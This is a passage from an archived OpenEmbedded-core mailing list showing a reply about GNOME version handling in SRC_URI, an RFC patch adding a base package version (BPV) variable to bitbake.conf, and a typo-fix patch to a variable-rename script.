return ".".join(v.split(".")[:-1])
SRC_URI =
"${GNOME_MIRROR}/${GNOMEBN}/${@gnome_verdir("${PV}")}/${GNOMEBN}-${PV}.tar.${GNOME_COMPRESS_TYPE};name=archive"
Alex
On Wed, 30 Mar 2022 at 10:16, Stefan Herbrechtsmeier
wrote:
>
> From: Stefan Herbrechtsmeier
>
> Add a base package version (BPV) variable and use it as default for the
> package version (PV) variable. The BPV variable contains the base
> package version of the recipe read from the recipe filename.
>
> The base package version variable supports an expansion of the version
> from the recipe filename without the need of an immediate variable
> expansion:
> PV = "${BPV}+git${SRCPV}"
>
> It allows the inclusion of include files inside a recipe file with the
> same version in the recipe and include filename even if the package
> version is different to the base package version in the filename:
> require linux-yocto-${BPV}.inc
>
> Signed-off-by: Stefan Herbrechtsmeier
>
> ---
>
> meta/conf/bitbake.conf | 3 ++-
> 1 file changed, 2 insertions(+), 1 deletion(-)
>
> diff --git a/meta/conf/bitbake.conf b/meta/conf/bitbake.conf
> index 7705415a4f..d56cf811ba 100644
> --- a/meta/conf/bitbake.conf
> +++ b/meta/conf/bitbake.conf
> @@ -232,7 +232,8 @@ ASSUME_PROVIDED = "\
> ##
>
> PN = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[0] or
> 'defaultpkgname'}"
> -PV = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[1] or '1.0'}"
> +BPV = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[1] or '1.0'}"
> +PV = "${BPV}"
> PR = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[2] or 'r0'}"
> PE = ""
> PF = "${PN}-${EXTENDPE}${PV}-${PR}"
> --
> 2.30.2
>
>
>
>
-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#163776):
https://lists.openembedded.org/g/openembedded-core/message/163776
Mute This Topic: https://lists.openembedded.org/mt/90127138/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-
[OE-core] [PATCH] convert-variable-renames: Fix typo in description
Signed-off-by: Simon Kuhnle --- scripts/contrib/convert-variable-renames.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/contrib/convert-variable-renames.py b/scripts/contrib/convert-variable-renames.py index 856c001e11..eded90ca61 100755 --- a/scripts/contrib/convert-variable-renames.py +++ b/scripts/contrib/convert-variable-renames.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 # # Conversion script to rename variables to versions with improved terminology. -# Also highlights potentially problematic langage and removed variables. +# Also highlights potentially problematic language and removed variables. # # Copyright (C) 2021 Richard Purdie # Copyright (C) 2022 Wind River Systems, Inc. -- 2.32.0 -=-=-=-=-=-=-=-=-=-=-=- Links: You receive all messages sent to this group. View/Reply Online (#163775): https://lists.openembedded.org/g/openembedded-core/message/163775 Mute This Topic: https://lists.openembedded.org/mt/90127297/21656 Group Owner: openembedded-core+ow...@lists.openembedded.org Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub [arch...@mail-archive.com] -=-=-=-=-=-=-=-=-=-=-=-
[OE-core] [RFC PATCH] bitbake.conf: Add base package version (BPV) variable
From: Stefan Herbrechtsmeier
Add a base package version (BPV) variable and use it as default for the
package version (PV) variable. The BPV variable contains the base
package version of the recipe read from the recipe filename.
The base package version variable supports an expansion of the version
from the recipe filename without the need of an immediate variable
expansion:
PV = "${BPV}+git${SRCPV}"
It allows the inclusion of include files inside a recipe file with the
same version in the recipe and include filename even if the package
version is different to the base package version in the filename:
require linux-yocto-${BPV}.inc
Signed-off-by: Stefan Herbrechtsmeier
---
meta/conf/bitbake.conf | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/meta/conf/bitbake.conf b/meta/conf/bitbake.conf
index 7705415a4f..d56cf811ba 100644
--- a/meta/conf/bitbake.conf
+++ b/meta/conf/bitbake.conf
@@ -232,7 +232,8 @@ ASSUME_PROVIDED = "\
##
PN = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[0] or
'defaultpkgname'}"
-PV = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[1] or '1.0'}"
+BPV = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[1] or '1.0'}"
+PV = "${BPV}"
PR = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[2] or 'r0'}"
PE = ""
PF = "${PN}-${EXTENDPE}${PV}-${PR}"
--
2.30.2
-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#163774):
https://lists.openembedded.org/g/openembedded-core/message/163774
Mute This Topic: https://lists.openembedded.org/mt/90127138/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-
